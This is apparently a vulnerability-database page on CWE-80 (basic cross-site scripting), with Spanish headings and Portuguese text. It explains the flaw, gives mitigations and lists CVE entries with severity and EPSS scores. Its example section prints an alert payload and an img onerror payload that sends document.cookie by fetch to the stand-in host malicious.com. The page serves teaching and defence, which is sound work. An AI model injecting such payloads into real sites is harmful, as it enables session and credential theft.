Fallos del tipo CWE-80

586 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2026-40105MEDIUMXWiki has Reflected Cross-Site Scripting (XSS) in its page history compare functionalityEPSS 0.5%CVE-2024-47139MEDIUMF5 BIG-IQ VulnerabilityEPSS 0.5%CVE-2023-3017LOWSourceCodester Lost and Found Information System Manage User Page cross site scriptingEPSS 0.5%CVE-2024-28108MEDIUMphpMyFAQ Stored HTML Injection at contentLinkEPSS 0.5%CVE-2024-32875MEDIUMHugo doesn't escape markdown title in internal render hooksEPSS 0.5%CVE-2017-20085LOWAtahualpa Theme cross site scritingEPSS 0.5%CVE-2018-25039LOWThomson TCW710 RgUrlBlock.asp Persistent cross site scritingEPSS 0.5%CVE-2017-20122LOWBitrix Site Manager Contact Form cross site scriptingEPSS 0.5%CVE-2023-26046MEDIUMteler-waf subject to bypass of common web attack threat rule with HTML entities payloadEPSS 0.5%CVE-2021-32735HIGHCross-site scripting (XSS) from field and configuration text displayed in the PanelEPSS 0.5%CVE-2017-20098LOWAdmin Custom Login Plugin Persistent cross site scriptingEPSS 0.5%CVE-2026-59855HIGHSiYuan: Store XSS To Rce via Asset.renderEPSS 0.5%CVE-2024-8680MEDIUMMailChimp for Wordpress <= 4.9.16 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2023-20181MEDIUMA vulnerability in the web-based management interface of Cisco Small Business SPA500 Series IP Phones could allow an unauthenticated, remoteEPSS 0.5%CVE-2019-19285—A vulnerability has been identified in XHQ (All Versions < 6.1). The web interface could allow injections that could lead to XSS attacks if EPSS 0.5%CVE-2019-13931—A vulnerability has been identified in XHQ (All versions < V6.0.0.2). The web interface could allow for an an attacker to craft the input inEPSS 0.5%CVE-2024-24807LOWSulu is vulnerable to HTML Injection via Autocomplete SuggestionEPSS 0.5%CVE-2025-23919MEDIUMWordPress Slides & Presentations Plugin <= 0.0.39 - Content Injection vulnerabilityEPSS 0.5%CVE-2023-26047MEDIUMteler-waf contains detection rule bypass via entities payloadEPSS 0.5%CVE-2017-20059LOWElefant CMS Title Persistent cross site scritingEPSS 0.5%